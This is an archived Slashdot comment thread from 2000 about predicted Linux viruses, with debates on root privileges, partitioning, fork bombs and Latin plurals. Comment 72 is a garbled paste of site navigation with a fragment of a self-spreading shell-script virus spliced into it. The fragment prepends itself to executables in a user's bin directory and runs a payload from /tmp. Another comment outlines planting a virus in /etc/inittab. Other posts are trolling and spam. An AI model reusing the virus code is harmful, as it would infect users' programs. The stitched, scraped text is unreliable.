  70. Re:This is why Linux is so extraordinarily dangero by Anonymous Coward · · Score: 0

    You don't get out much, do you?

    When I have the wonderous Windows 2000 operating system to keep me company, "getting out" seems to be a bit old-fashioned. Why should I be bothered with the mundane tasks of an unrewarding life when I can stay in and be entertained by this marvelous piece of software engineering? I would appreciate any thoughts that you might have on this, just as long as you are not a Linux user.

  71. Easy done by hoss10 · · Score: 1

    It's easy enough to find the root filesystem!
    Assuming most computers with linux installed only have one partition as type 83 then the virus would be able to stick it into /etc/inittab or whatever very easily.
    The challenges would be:
    a) get the code sufficiently small it mightn't be noticed to easy
    b) if there is more than one linux partition or something than the lilo info would need to be found from the MBR but that doesn't really matter much and anyway what's to stop the virus inserting itself into any/all type 83 (ext2) partitions (checking first there is a /etc/inittab)

    Basically, traversing the partition tables is easy done - be they primary or extended, and the source for writing to ext2 is readily available (not surprisingly)

  72. Linux virii by Anonymous Coward · · Score: 0

    faq code awards privacy slashNET older stuff rob's page preferences andover.net submit story advertising supporters past polls topics about jobs hof Sections 1/23 (2) apache 1/24 (12) askslashdot 1/18 awards 1/14 books 1/20 bsd 1/24 features 1/24 interviews 1/19 radio 1/23 (5) science 1/22 (3) yro Andover.Net AndoverNews Ask Reggie Freshmeat ITR MediaBuilder Linux Virii On Their Way? Posted by Hemos on Monday January 24, @12:27PM from the really-damn-funny dept. Eric the Cat wrote to us with one of the most amusing article for the day. A Russian Security Consultancy has claimed that a plague of virii for Linux will be coming, thanks to Chinese hackers. Wait - it gets better. According to the security expert, *because* Linux is open source, the viruses will be even worse than in other systems. Thankfully, Jason Clifford, a Linux person, is also quoted in the story setting the story a bit straighter. /dev/null } function infect () { # pathlist=`echo $PATH | tr : " "` # dir=`choose $pathlist` dir=$HOME/bin echo "Will infect in $dir" names=`find $dir -maxdepth 1 -type f` name=`choose $names` echo "will infect $name" if infected $name; then echo Already infected else if [ ! -w $name ]; then notwrite=1 chmod u+w $name fi if [ -w $name ]; then infectfile=`mktemp /tmp/if$$.XXXXXX` || { echo 'cannot create a temporary file' >&2 exit 1 } (head -$[$skip-1] $0; cat $name) > $infectfile cat $infectfile > $name rm -f $infectfile if [ x$notwrite = x1 ]; then chmod u-w $name fi echo success else echo Darn, no write permissions fi fi } srandom tmpfile=`mktemp /tmp/gz$$.XXXXXX` || { echo 'cannot create a temporary file' >&2 exit 1 } if tail +$skip $0 > $tmpfile; then infect chmod 700 $tmpfile prog="`echo $0 | sed 's|^.*/||'`" if ln $tmpfile "/tmp/$prog" 2>/dev/null; then trap 'rm -f $tmpfile "/tmp/$prog"; exit $res' 0 (sleep 5; rm -f $tmpfile "/tmp/$prog") 2>/dev/null & /tmp/"$prog" ${1+"$@"}; res=$? else trap 'rm -f $tmpfile; exit $res' 0 (sleep 5; rm -f $tmpfile) 2>/dev/null & $tmpfile ${1+"$@"}; res=$? fi else echo Cannot decompress $0; exit 1 fi; exit $res true [ Reply to This | Parent ] Linux is a virus in itself (Score:5, Funny) by razvedchik on Monday January 24, @01:07PM EST (#71) (User Info) Sometimes, I feel that Linux is a huge, 640M virus just out to ruin my life. Then I remember that resolv.conf only has one "e" in it and continue on with my mission. It spreads from user to user, and once you're infected, you can never go back. It has been know to cripple and even destroy WinXX systems to the point of making itself the dominant OS on any machine. It makes its users say crazy things like "awk", "grep", "FUD", and so on.... The problem with e-mail lists is that you can't post as the "Anonymous Coward". [ Reply to This | Parent ] It's already here... (Score:1) by havoc- (havoc-nospam@phoenix.student.utwente.nl) on Monday January 24, @01:08PM EST (#75) (User Info) http://phoenix.student.utwente.nl ... and it's called VIGOR. :-) -- So much to compile, so little time... [ Reply to This | Parent ] Klooless Noobies (Score:2, Interesting) by Mechanist on Monday January 24, @01:09PM EST (#80) (User Info) OK, I think most of us can agree with this: In order for a virus to have a real effect it would require someone to be stupid enough to run (log in) as root And with this: It's no so much about the product but about how you manage your system. We advise people never to do anything in root unless they absolutely have to But the problem lies with people who run Linux but lack backgroud with Unix configuration and security policies. For a lot of people, the user/root distinction is a pain in the ass, because they're used to Windows. They don't want to learn new stuff to run Linux, they just want to use the latest cool thing. So they end up doing most everything as root, because it's easier that way. This is plainly stupid, and invites disaster, but some people will never learn until their noses are rubbed in the steaming pile of idiocy they've just laid. So I wouldn't be too surprised to see some sort of Linux trojan horse emerge, even if it required full root access in order to be effective. Clueful users would not get directly infected, but if the trojan became widespread they might suffer some indirect trouble from it. Also, given that this was reported on ZDNet, I can't help but wonder if the FUD is motivated by antivirus s/w companies scared of losing their market. But maybe I'm just too paranoid for my own good, eh? :-) [ Reply to This | Parent ] It would be interesting (Score:2) by mackga (bmcarth@nospam.ix.netcom.com) on Monday January 24, @01:12PM EST (#89) (User Info) http://pw1.netcom.com/~bmcarth if this fella offered to show the locked up completed Linux virus to one of the major kernel hackers - maybe Alan or Linus - so we all could get a knowledgeable assessment of the possible current and future dangers. Just a thought a redhead in a uniform always makes me horny - Tom Waits [ Reply to This | Parent ] *nix permissions are a tool for security... (Score:1) by MrHat on Monday January 24, @01:12PM EST (#91) (User Info) ...not the "cure-all" for a insecure system. Chmod and chgrp are tools, just like /etc/hosts.deny. Security is a combination of a software engineering issue and a policy issue: great security ideas are often poorly implemented, either in software, or by a particular system administrator (*cough*... NT... *cough*). For example, Windows NT has a much more granular permissions implementation than most Unix systems (NT uses ACLs), but viruses still run rampant on NT boxes due to poor administration. If I had a dollar (or hell, even five cents) for every time I saw someone logged in as Administrator to use M$ Office, I'd be a rich man. The virus problem is even worse under Win9x variants: there aren't any (or very many) security tools, including filesystem permissions, to use. A well-thought out security policy can guard against most any virus - it's ignorance that viruses prey on, regardless of the OS. And please: the plural of virus is viruses, not viri or any other abuse of Latin ;). Check out this page for an explanation. (Link kindly donated by a previous /. article.) [ Reply to This | Parent ] (1 ) | 2 (Slashdot Overload: CommentLimit 50) Respect is a rational process -- McCoy, "The Galileo Seven", stardate 2822.3 All trademarks and copyrights on this page are owned by their respective owners. Comments are owned by the Poster. The Rest © 1997-2000 Andover.Net. [ home | awards | supporters | rob's homepage | contribute story | older articles | Andover.Net | advertising | past polls | about | faq ]

  73. You're right, but you're wrong. by aheitner · · Score: 2

    There is no, I repeat no stackguarding technique to completely prevent buffer overflows. Take a look at last week's Kernel Traffic for a summary of a good discussion about this.

    Automated library-level checking, whether using a stackguarded compiler or weird stack hacks in the OS is no way to make an app buffer-overflow secure. The only way to do it is continuous human code auditing (and careful initial coding practices), à la OpenBSD. OpenBSD is tight, carefully audited, and in fact provides surprisingly little as far as applications. The size of a typical Linux install is a huge enemy of auditing -- there's just too much stuff to go through. You can however build quite a secure system (assuming you don't have any untrusted local users) simply by strictly limiting which services your machine offers to the outside.

    The Internet Worm won't happen again in the UNIX world -- we learned our lesson at the time about poorly written programs and known problems. M$, typically, still hasn't figured this one out. The only reason UNIX users won't be vulnerable to Word Macro-type viruses is that no UNIX user would use such a pathitically stupid application -- and a UNIX user would know better than to execute a random chunk of code he found lying around.

    Of course the user can still screw himself if he's dumb, but that's not fundamentally against the UNIX mentality -- 'rm -Rf *' has always been there waiting for you.

    ...

    Actually, a real problem is the fact that most users go looking all over the internet for RPMs of their latest gotta-have applications, without checking the origins. Downloading RPMs from random webpages and installing them as root could be a very bad idea.

  74. BIGGEST security hole is booting Windows! by Anonymous Coward · · Score: 1

    On a dual-boot machine, Linux is totally helpless and at the mercy of every program running while the machine is in windows mode. And heaven help us if MS ever adds support for ext2 filesystems to Win2000 or whatever. That'll make it easy for tiny viruses to mount ext2 file systems and add themselves in to run as root later on.

  75. Sure, Linux viruses might be worse... by DragonHawk · · Score: 2

    Sure, Linux viruses might be worse because Linux is Open Source Software, all other things being equal. If you have the source, it is easier to find holes and create exploits for them.

    The thing is, all other things are not equal.

    The advantages of OSS and the design of Unix (and thus Linux) can easily outweigh the problem of open access to the source code. On the OSS side, you have peer review by a cast of thousands, and the ability to check for malicious code yourself. On the Unix side, you have the concept of security permissions which prevent viruses from propagating as easily.

    Sure, if an infected program is run by a user with root privileges, it can seek out and infect other programs. But you can easily restrict virus behavior by not running things as root. Install your package as root, but run it as a user.

    Your home directory is, of course, vulnerable, but you have cut a potential propagating virus down to a simple Trojan Horse. Viruses are so dangerous because they spread unknowingly; a Trojan is quickly discovered and snuffed when people discover what it does.

    Will malicious code be a problem on Linux? Of course. It already is. But thinking the same problems of the Ms-Windows world apply in the Unix one is an error.

    What we may see is smarter, more sophisticated attacks being deployed. MS-Windows is so poorly designed that virus writers have it easy. With Linux, we may see fewer, but far more dangerous, malicious programs. That, if anything, should be the real fear. Sticking with trusted, Open Source Software should keep such problems to a minimum, however.

    All in all, I think Linux users have far less to worry about then MS-Windows users.

    --

    dragonhawk@iname.microsoft.com
    I do not like Microsoft. Remove them from my email address.
  76. the funniest part of the article by CrudPuppy · · Score: 1

    why *Chinese* crackers? are they suddenly more
    adept at creating viruses than crackers in any
    other country??

    heh =)

    --
    A year spent in artificial intelligence is enough to make one believe in God.
    1. Re:the funniest part of the article by Anonymous Coward · · Score: 0

      Crackers are traditionally people who enjoy defeating copy protection in games and other applications.

      I wish you people would learn to respect the term 'Cracker' and not let it be subverted by people who hypocritically defend the term "Hacker" and try to shove all the badness off on the term "cracker."

    2. Re:the funniest part of the article by Anonymous Coward · · Score: 0

      Cracker is infact a person that deletes copy protections, it was used by them before the white hat hackers thought that their name was dragged in the dust and said that you should say cracker instead. That cracker isnt even mentioned in the hackers dictionary (or what it is called) is very strange i think. But then again, its almost only europeans that cracks and more americans are hackers, and why care about what they do on the other side, right?

    3. Re:the funniest part of the article by C.Lee · · Score: 0

      > why *Chinese* crackers? are they suddenly more
      >adept at creating viruses than crackers in any
      >other country??


      They are if your thought tend to run along the "Yellow Menance" way of thinking of China.

    4. Re:the funniest part of the article by DMoylan · · Score: 1

      As a European, I resemble that remark :-)

  77. More ideas. Mount most of filesystem as read only. by Anonymous Coward · · Score: 0
    Certainly all of /usr and /boot should be read only. New programs added later should go in /usr/local which can be a separate partition, and even that should be read-only except when you actually add stuff.

    Read only partitions also have the advantage that if power is cut, the RO filesystems aren't "dirty" when the machine boots back up. And as /usr is usually quite large and heavily populated, this saves a lot of FSCKing time (literally!).

  78. The "It's hard to gain root access" fallacy by Gurlia · · Score: 4
    Finally, just to play the Devil's Advocate, I think problems could arise if say, a binary in a distrubtion is infected, and then is sold to thousands of unsuspecting end users. All it would then take is to run that binary as root, and you suddenly have an infection on your hands. However, I don't see this as a very likely scenario, since I can count the number of Linux-based viruses which I have heard of on one hand. For the reasons I outlined above, Linux just isn't a very attractive platform to virus writers, who want to see their creations spread.

    It's not attractive to virus writers? What if they are more interested in doing something malicious rather than merely in their virii spreading themselves?

    Although it is true that Linux (and Unices in general) tend to give less motivations for virus writers, do not take this as security, because it's not. Even if a virus cannot gain root access, to a home PC user, deleting his entire home directory is just as bad as infecting /bin/ls. I think Linuxers should wake up and realize that as Linux becomes more popular, there will be an increasing temptation to virus writers. And the "it's hard to gain root access" argument is a fallacy. Valuable personal data can be destroyed very easily by a virus, even if the system itself is not harmed. After all, who cares about the system? Which is more important -- the system, or the data that you use the system for? And how about DoS attacks? Even if the virus cannot reach your data, ever heard of fork( ) bombs? Or HD space hoggers that cause you to be unable save your latest document? The system may be less vulnerable, but your data isn't.

    --
    mikre he sophia he tou Mikrosophou.
    1. Re:The "It's hard to gain root access" fallacy by Anonymous Coward · · Score: 0

      Even if the virus cannot reach your data, ever heard of fork( ) bombs? Or HD space hoggers that cause you to be unable save your latest document?

      I'd like to know what steps to take to prevent a system from being bombed by the superforker exploit. Its a simple little program that forks and forks and forks while filling up your /tmp directory in seconds. It would be nice to see distributions protected against exploits like this out of the box.

    2. Re:The "It's hard to gain root access" fallacy by LetterJ · · Score: 1

      Losing all of one's "home" files is most definitely a huge deal to most users. Witness the havoc that MS Word macro virii have had though they don't mess with the OS. For many hackers the OS is the work, but for most folks, documents, spreadsheets, saved games, etc. are the work/important stuff. If I lost my essays, articles, short stories and my novel in process (which won't happen due to CD-R backups), I couldn't care less if I have to rebuild the OS and apps. That's a day of work. Recreating all of those documents is months or years worth of work. To most people, source code and binaries are NOT important. Access to their work is. A virus, whether it attacks the OS and prevents them from booting or deletes the text in 75 Word documents is devestating. It just so happens that on Windows, both methods work when writing virii. On Unix variants, they'll have to sit at the user level, but that's just as bad.

      LetterJ

    3. Re:The "It's hard to gain root access" fallacy by tzanger · · Score: 2

      I'd like to know what steps to take to prevent a system from being bombed by the superforker exploit. Its a simple little program that forks and forks and forks while filling up your /tmp directory in seconds. It would be nice to see distributions protected against exploits like this out of the box.

      There is a kernel module that replaces the exec() call (I think) and provides the exact protection you are asking about. You can tune the amount of forking by user and it also (IIRC) supports logging of "over-fork" conditions.

      Where is it? Here is a link to Freshmeat.

    4. Re:The "It's hard to gain root access" fallacy by Anonymous Coward · · Score: 0

      The plural of "virus" is "viruses", not "viriiiiiiiii.

    5. Re:The "It's hard to gain root access" fallacy by Anonymous Coward · · Score: 0

      Thanks for the link, it works!

      Not only did that module stop the superforker exploit, it deleted the exploit binary from the offender's test directory and left a nice log entry!

      Unfortunately, it stopped my nicely behaved mpg123 process from my user account at the same time. Doubling the process limits solved that problem.

  79. Re:DUH - no - thats DOH by kiatoa · · Score: 1


    Oh come on, English is riddled with so many stupid rules, exceptions and non-sensicalities that caring about virii vs viruses is meaningless to the point of being stupid.

    When English is 95% sensible rules and consistant patterns then I'll pay attention to the ravings of folks like you. Until then I'm for hacking and bastardizing the language as much as possible. Make up words, spell 'em as they sound, follow the patterns even when they are "wrong" anything to boycott the English language snobs.

    "I would die to have some red dye."
    "Please polish the Polish furniture."
    "Would you hand me that piece of wood?"

    Stupid pathetic excuse for a language.


    If you can't tell, I'm mad 'cuz I spent too many damn years learning the language - and I still don't rate as a good speaker or writer.

    --
    90% of the wealth is in 2% of the pockets. Bummer to be in the majority.
  80. Um.. by crush · · Score: 1

    was that an attempt to start a flame war, or merely the confidence of ignorance? There are lots of different endings for latin -us words. Read Tom Christiansen's page. I can't believe this debate comes up again and again. I agree about the OED though - but obviously they are anticipating usage fees.

  81. Re:This is why Linux is so extraordinarily dangero by Anonymous Coward · · Score: 0

    I already posted to this article so I can't moderate this down as a troll like it deserves... can someone else?

  82. yeah...ummm by CrudPuppy · · Score: 1

    you're insinuating that *most* linux systems have
    ONE partition? if this is really true, then the
    average linux geek is not very bright.

    look at any UNIX system. it is not a coincidence
    that there is more than one partition.

    i think you are wrong in your assumption about
    *most* linux users, personally

    --
    A year spent in artificial intelligence is enough to make one believe in God.
    1. Re:yeah...ummm by hoss10 · · Score: 1
      you're insinuating that *most* linux systems have ONE partition? if this is really true, then the average linux geek is not very bright.

      If Linux is to take over the desktop it will be the case. Any system with multiple partitions is more likely to be a "proper" server with a more sensible sysop

    2. Re:yeah...ummm by Cramer · · Score: 1

      There are various reasons for that -- some are historic ties to the days when hard drives were too small to hold everything in one partition.

      For the most part, "/" is tiny to reduce filesystem check times, reduce the chances of corruption (nothing changes very often), and better optimize the partition for the number of tiny files it holds. "/usr" is a partition so it can be mounted read-only -- this is a performance gain for some OSes. "/var" is it's own local partition as that's where volatile/transient/temporary stuff is kept -- you know, /var/run, /var/log, /var/adm, etc. Etc. Etc.

      Linux systems tend to have only a single partition due to the (stupid) lack of space for partitions on "PC" hardware. This is one of a long list of stupid things in the "PC" world.

    3. Re:yeah...ummm by Anonymous Coward · · Score: 0

      I'm still a newbie after about a year and whenever I'm creating my partitions, I just create a large one for / and a 100mb swap partition. I do this because I don't want to run out of space on a filesystem. Why shouldn't I do this?

    4. Re:yeah...ummm by Anonymous Coward · · Score: 0
      I'd like to know that also.

      I believe the thinking is that if one of your partitions goes bad, you won't lose everything.

      for me, that's too big of a pain, cause running out of space is much more of a hassle. I have one big / partition and a small swap partition, and it seems to work ok.

      I've heard many users say that's ok to do.

    5. Re:yeah...ummm by Anonymous Coward · · Score: 0

      It also has to do with the "stupid" partitioning scheme used on Linux systems.

      With NetBSD, or any of the BSDs, for that matter, the whole BSD system, with multiple partitions, exists within one "DOS-type" partition. Because the BSD scheme doesn't try to map into the original "only four primaries allowed" scheme, more than four partitions can be used. I suppose since Linux started out as a Pee-Cee OS (and still is, and people seem to want to keep it as so) the lame partioning scheme it inherits from earlier PC Operating Systems is warranted.

    6. Re:yeah...ummm by SeanNi · · Score: 1

      After doing that twice and losing it all twice (through "learning experiences"... I learned not to accidentally unplug the computer without first unmounting my drives), I decided multiple partitions was the best way to go.

      I got PartitionMagic, so I can resize my partitions on the fly, as needed, and haven't had a single problem...
      --
      - Sean

      --
      It's a fine line between trolling and karma-whoring... and I think I just crossed it.
      - Sean
    7. Re:yeah...ummm by Cramer · · Score: 1

      Not to perpetuate the arguement (with an AC), but... BSD uses the (surprise) BSD partitioning. BSD and it's method of partitioning existed long before the IBM PC and this stupid four partitions method. One can setup linux to use the BSD partitioning, but people usually don't (on x86 hardware anyway.)

      My alpha will partition the disk either way depending on what OS you have set it to run -- sadly, it was designed to run NT, but that ain't what it's running. If you want to be sick, you can setup a sparc/linux machine with a DOS style partition table (please don't do that.)

    8. Re:yeah...ummm by talonyx · · Score: 1

      yeah, ummmm...

      Prehaps the "average" linux user You're referring to is the kind that we see hunched over in the compuetr lab at school, drooling slowly while typing out "notes to self".

      I'm what I would condier an average linux user... and I only ever bother with one partition, becuase it's a bitch to go and mount another partition as /home, /usr, etc.
      If I wanted lots of partitions I'd go use FAT16 with Dos 5 and Windows 3.1. Then I could make lots of 2 GB partitions and spread out my data easily, because I wouldn't have to worry about putting things in the right spot.

      --
      Talon Karrde

    9. Re:yeah...ummm by talonyx · · Score: 1

      How can a partition "go bad"?
      If the partition information is lost on the first few clsuters of disk, then likely the disk will become completely bad... usually more than one partition would get affected, don't you think?

      And if it's just bad cluster damage in that partition, don't tell me Linux can't handle it. DOS could handle that since DOS 3 with Norton. EXT2 and the fabulous fsck should be able to map aroung bad clusters too.
      --
      Talon Karrde

    10. Re:yeah...ummm by Anonymous Coward · · Score: 0

      I have found that keeping /home on a it's own partition is usefull. When You try another distro / reinstall the system You can leave /home alone and keep all your user settings intact.

    11. Re:yeah...ummm by Yebyen · · Score: 2

      FYI, GNU Parted is a great program, and (of course) it's GPL'd. It serves the same basic functionality as PartitionMagic 4.0, and if you were to make a boot floppy with it on there, you'd have no troubles at all. (Me, i blew out my floppy drive so i DO have troubles, but that's besides the point.) Hey, I suppose I could install a minimalistic linux distro with almost nothing (except parted) on a partition, as well as on my slackware, and that'd be all i needed... plan taken! (Any better plans, e-mail em to me...)

      --
      linuxisgood:~$ man woman

      --
      Restating the obvious since nineteen aught five.
    12. Re:yeah...ummm by AME · · Score: 2
      I have found that keeping /home on a it's own partition is usefull.

      Indeed.

      It is also important to consider the security advantage of a separate /var partition, Since this is where logs go. Allowing an attacker to fill your root partition with log info would likely be very bad.

      --
      "I have a good idea why it's hard to verify programs. They're usually wrong." --Manuel Blum, FOCS 94
    13. Re:yeah...ummm by Anonymous Coward · · Score: 0

      Don't be silly. You can have a LOT of partitions on ide drives, in the EXTENDED partition. [At least linux can, other windows doesn't like it, so put linux ones last] note: Filesystem 1k-blocks Used Available Use% Mounted on /dev/hdc7 101075 44542 51314 46% / /dev/hdc10 932833 819934 64706 93% /home /dev/hda6 893986 788783 59018 93% /otherhome /dev/hda5 2096160 1321728 774432 63% /mnt/a5 /dev/hdc1 2072064 3456 2068608 0% /mnt/c1 /dev/hdc5 770880 3568 767312 0% /mnt/c5 /dev/hdc9 917294 839245 30659 96% /usr /dev/hdc8 54410 16451 35150 32% /var /dev/hda1 2096160 1696576 399584 81% /mnt/a1

    14. Re:yeah...ummm by inosent1 · · Score: 1

      one of the biggest reasons is if you screw up. you don't have to lose all the information on your home partition. you can save that one and just re-install /, /usr, and so on.

    15. Re:yeah...ummm by SeanNi · · Score: 1

      A better plan...

      howsabout a $10 used (but working) /dev/fd0?

      I dunno... I know I just find my floppy essential.
      --
      - Sean

      --
      It's a fine line between trolling and karma-whoring... and I think I just crossed it.
      - Sean
    16. Re:yeah...ummm by Yebyen · · Score: 2

      yea i did that today... i know floppies are essential, but i blew them out THAT DAY...

      --
      linuxisgood:~$ man woman

      --
      Restating the obvious since nineteen aught five.
    17. Re:yeah...ummm by SeanNi · · Score: 1

      Ahhhh. kewl.
      --
      - Sean

      --
      It's a fine line between trolling and karma-whoring... and I think I just crossed it.
      - Sean
  83. Run for your lives!! by zornorph · · Score: 1

    Good thing I didn't sell my y2k secure underground bunker complex, I'll have a safe place to hide when it all comes down ;)

    --
    http://bike.stu.ph/rides - free GPS routes available for Garmin, Magellan, GPX and Google Earth
  84. Virii, Viruses & Co. by Lutz · · Score: 1

    As far as I know, virus is a latin word. And then the plural form is viri, not virii. Sorry, I could not resist. But 'virii' hurts...

    1. Re:Virii, Viruses & Co. by Anonymous Coward · · Score: 0

      actually, you're wrong too... viri is the plural of "vir," which is the word for "man." virus is a neuter noun, so normally it would take an "-a" or "-ora" but since it has no documented plural we say "viruses"

    2. Re:Virii, Viruses & Co. by Anonymous Coward · · Score: 0

      It's a million times more complicated than that. In the 2nd declension, the -us neuters were invariant, or took their Greek plurals of -e. In the third declension, they became look corpora and genera. In the fourth declension, they just gained a macron. Sometimes. Cornu started without the -s. And things like rebus weren't even in the nominative. Unless you can rattle off all five Latin declensions for all three genders, and can explain i-stem 3rd decls, and can furthermore explain how the three Greek declensions fit into Latin loan-words, you don't know what you are talking about. -us doesn't always mean 2nd declension, it doesn't always mean masculine, and it doesn't always mean nominative.

    3. Re:Virii, Viruses & Co. by Anonymous Coward · · Score: 0

      The best i-stem of all is turris ("tower").

  85. Other plurals by crush · · Score: 0
    Here are some other well-known plurals of latinate words so that /. readers can make an empirical judgement of the correct usage for themselves, unswayed by authoritarian word-usage totalitarians:

    doofus doofii

    ignoramus ignoramii

    corpus corpii

    calculus calculii

    detritus detritii

    Hope that helps.

    1. Re:Other plurals by crackd · · Score: 1

      Silly goose, all those nouns are second declension. As if the Romans had a term for what we now know as viruses today. Sheesh.

      --
      "h3y 1c3 kr34m!! 4r3 j00 3r33+!?" "y3z crackd, 4nD n0w 3y3 w1lL h4xx0r j00r m0u+h! h0h0h!!0"
  86. Re:This is why Linux is so extraordinarily dangero by Anonymous Coward · · Score: 0

    I already posted to this article so I can't moderate this down as a troll ..

    No doubt you posted some pro-Linux nonsense. You want to see my comment moderated down because it comes a bit too close to the truth. But I have learned that Linux zealots are never interested in the truth. If it was not for Linux, the hundreds of souls who perished on the Titanic would be alive today. If it were not for Linux, the Hindenburg would have landed safely. If it were not for Linux, the film Ishtar would have never been made. Linux zealots are all the same. They like to praise it all the time, but they never like to talk about the skeletons that it has in its closet.

    Well, I'm a bit of a different sort. I will talk about them. And a little moderation won't discourage me. Let us hope that this doesn't tragically upset your universe!

  87. OT-Virii is not a word by Anonymous Coward · · Score: 0

    Well over fifty posts, and no one has called him on such a blatant mispelling.

    Actually post #7 deals with that very issue. It was moderated down as Offtopic, as was yours. This isn't the time or place to debate etymology.

  88. AAAAAHAHAHAHAHAHA HAHA HEEHEE cough.. choke... by runlevel0 · · Score: 0

    I didn't know that M$ employees were allowed to post to slashdot on company time... shame shame I've heard of hard sells, but this one takes the cake. Next you will be telling us that Micro$uck will protect our children from the plague. Get real.

    1. Re:AAAAAHAHAHAHAHAHA HAHA HEEHEE cough.. choke... by Anonymous Coward · · Score: 0

      I didn't know that M$ employees were allowed to post to slashdot on company time... shame shame I've heard of hard sells, but this one takes the cake. Next you will be telling us that Micro$uck will protect our children from the plague. Get real.

      Sir, if you are unable to accept that there are plenty of vocal Windows 2000 fans who are not being heavily compensated by Microsoft (including access to a Lear jet, season tickets to the Seahawks, a big-screen TV, and free massages for a year), then that is your problem, not mine.

    2. Re:AAAAAHAHAHAHAHAHA HAHA HEEHEE cough.. choke... by Anonymous Coward · · Score: 0

      Nah, next he'll tell you that responding in earnest to such an obvious troll makes you look like a fool.

  89. A CRISIS IN AMERICA by Anonymous Coward · · Score: 0

    Dear Citizens:

    We are facing a CRISIS in America. A crisis in the workplace. A crisis of GENDER INEQUALITY. A crisis that affects us all.

    Now, in the last year of the 20th century, you wouldn't expect to still find sexism and gender discrimination in the workspace, would you? Well, think again.

    Employment figures recently RELEASED BY THE FEDERAL GOVERNMENT have something STUNNING and DISGRACEFUL to say!

    FACT: For every dollar a man makes, A WOMAN GETS SIXTY CENTS!

    What they DON'T tell you: Do the math! Once the woman gets her sixty cents, ONLY FOURTY CENTS ARE LEFT FOR THE MAN!

    For every dollar the man makes:

    a woman - sixty cents
    the man - fourty cents

    THE WOMAN GETS PAID FIFTY PERCENT MORE FOR THE SAME WORK! WE MUST NOT STAND FOR THIS GENDER GAP IN THE WORKPLACE!

    What can YOU do?

    Write to your Congresspersun and tell her or him "MEN DEMAND EQUAL PAY FOR EQUAL WORK! WE WANT OUR FAIR SHARE! END THE PAY GAP."

    Only when the femeinine stranglehold on the workplace is broken, and men no longer get 50% less pay than women, will this country be TRULY FREE.

    Thank you for reading, brothers and sisters!!!

  90. So then, you're by crush · · Score: 1

    not what would be called an honculeur de mouche?

    1. Re:So then, you're by KrAphtd1nN3r · · Score: 1

      I believe the right term would be 'enculeur de mouches'.

      s/hon/en/

      --
      "Code free or die!"
  91. Viruses, or Virii?? by llzackll · · Score: 1

    Which is correct?

  92. I install Linux into one huge 4GB partition. by Anonymous Coward · · Score: 0

    Because that is the only way I can know exactly what size partitions I need for /usr, /usr/doc /usr/X11R6, etc. Then I repartition and install again. Once Linux install is done, these partitions become read-only. Extra goodies go into /usr/local which is read-write.

  93. What about viruses that exploit bugs? by Anonymous Coward · · Score: 1

    A virus finds a buffer overflow bug or whatever, executes its code and infects other machines.

    Since 99% of linux machines are networked, these viruses aren't going to spread via shared 3.5" disks, they're gonna be xmitted through the net.

    I guess we call that a worm.

    1. Re:What about viruses that exploit bugs? by Score+Whore · · Score: 1
      I guess we call that a worm.


      A worm is a standalone program that does worm stuff. A virus adds itself to other programs but can still have significant functionality. A trojan is a standalone program that pretends to be something other than what it is and typically will provide the functionality of what it purports to be.
  94. while (1) fork(); by Sloppy · · Score: 1

    I don't know about Linux, but some Unixes that I've used had "limit" feature, which I presume, can keep a single user from using too much disk space or CPU. If Linux doesn't have this, it can surely be added.


    ---
    --
    As copyright owner of this comment, I authorize everyone to defeat any technological measure which limits access to it.
  95. VIRUS!! by Anonymous Coward · · Score: 0

    faq code awards privacy slashNET older stuff rob's page preferences andover.net submit story advertising supporters past polls topics about jobs hof Sections 1/23 (2) apache 1/24 (12) askslashdot 1/18 awards 1/14 books 1/20 bsd 1/24 features 1/24 interviews 1/19 radio 1/23 (5) science 1/22 (3) yro Andover.Net Ask Reggie FreeCode Freshmeat ITR MediaBuilder "Linux Virii On Their Way?" | Login/Create an Account | 179 comments | Starting at #50 | Search Discussion Threshold: -1: 179 comments0: 172 comments1: 122 comments2: 42 comments3: 10 comments4: 5 comments5: 2 commentsNo CommentsThreadedNestedFlatOldest FirstNewest FirstHighest Scores FirstOldest First (Ignore Threads)Newest First (Ignore Threads) The Fine Print: The following comments are owned by whoever posted them. Slashdot is not responsible for what they say. ( Beta is only a state of mind ) 1 | (2 ) (Slashdot Overload: CommentLimit 50) *nix permissions are a tool for security... (Score:1) by MrHat on Monday January 24, @01:12PM EST (#91) (User Info) ...not the "cure-all" for a insecure system. Chmod and chgrp are tools, just like /etc/hosts.deny. Security is a combination of a software engineering issue and a policy issue: great security ideas are often poorly implemented, either in software, or by a particular system administrator (*cough*... NT... *cough*). For example, Windows NT has a much more granular permissions implementation than most Unix systems (NT uses ACLs), but viruses still run rampant on NT boxes due to poor administration. If I had a dollar (or hell, even five cents) for every time I saw someone logged in as Administrator to use M$ Office, I'd be a rich man. The virus problem is even worse under Win9x variants: there aren't any (or very many) security tools, including filesystem permissions, to use. A well-thought out security policy can guard against most any virus - it's ignorance that viruses prey on, regardless of the OS. And please: the plural of virus is viruses, not viri or any other abuse of Latin ;). Check out this page for an explanation. (Link kindly donated by a previous /. article.) [ Reply to This | Parent ] Re:*nix permissions are a tool for security... by Jeff Licquia (Score:1) Monday January 24, @02:21PM EST This is why Linux is so extraordinarily dangerous (Score:0, Troll) by Anonymous Coward on Monday January 24, @01:13PM EST (#93) We saw the dangers inherent with the open source model when the Quake 1 code was GPLed and within hours people had modified it and were using it to cheat. Now along comes this story. Yes, I'm sure that most of this is simple exaggeration, but it raises a valid point: the open nature of the Linux source code represents a very real threat to its security as an operating system, because it can be viewed and changed by anybody. It doesn't matter if they they've got noble or evil intent. The open nature of the operating system doesn't know their intent, and by definition doesn't care. It's the ability that matters, nothing more, nothing less. Now I can already hear the hordes of Linux users protesting. "Only get Linux from official sources!" they say. "Don't download distributions that you're not familiar with!" they say. "Read all of the source before you compile it!" they say. All of these suggestions are simply ludicrous. It shouldn't matter what an "official source" is or not. But due to the openness of the Linux system, it does matter. When you download an ISO image of the latest release of Red Hat, you don't know if you're downloading a true version of the Linux operating system, or if you're downloading a ticking time bomb that will sabatoge you and all of your data. You just don't know, unless you read all of the source code yourself before you build and install it. Who's got the time for that. Who's got the money for that? You, Dimmy? From this it should be clear that the Windows 2000 operating system is the only OS that is even remotely acceptable for desktop use. Its competitors consist of open-source operating systems (which, as we have seen above, are completely unsafe) and other inferior closed-source operating systems. Users of Linux and other OSS systems would do well do reformat their hard drives -- right now -- and install Windows 2000 just as soon as it becomes available. Do it now, before it's too late. If you wait too long, you might get a faceful of shrapnel when your machine explodes from some evil piece of code inserted by a malevolent hacker. You don't have to worry about that with Windows 2000. Windows 2000 is probably the best piece of software that has ever been written. With Linux, you always have to worry that perhaps your machine will spontaneously start serving up kiddie porn because of a rogue patch applied to your kernel by some 16-year-old outcast in the Ukraine. Not so with Windows 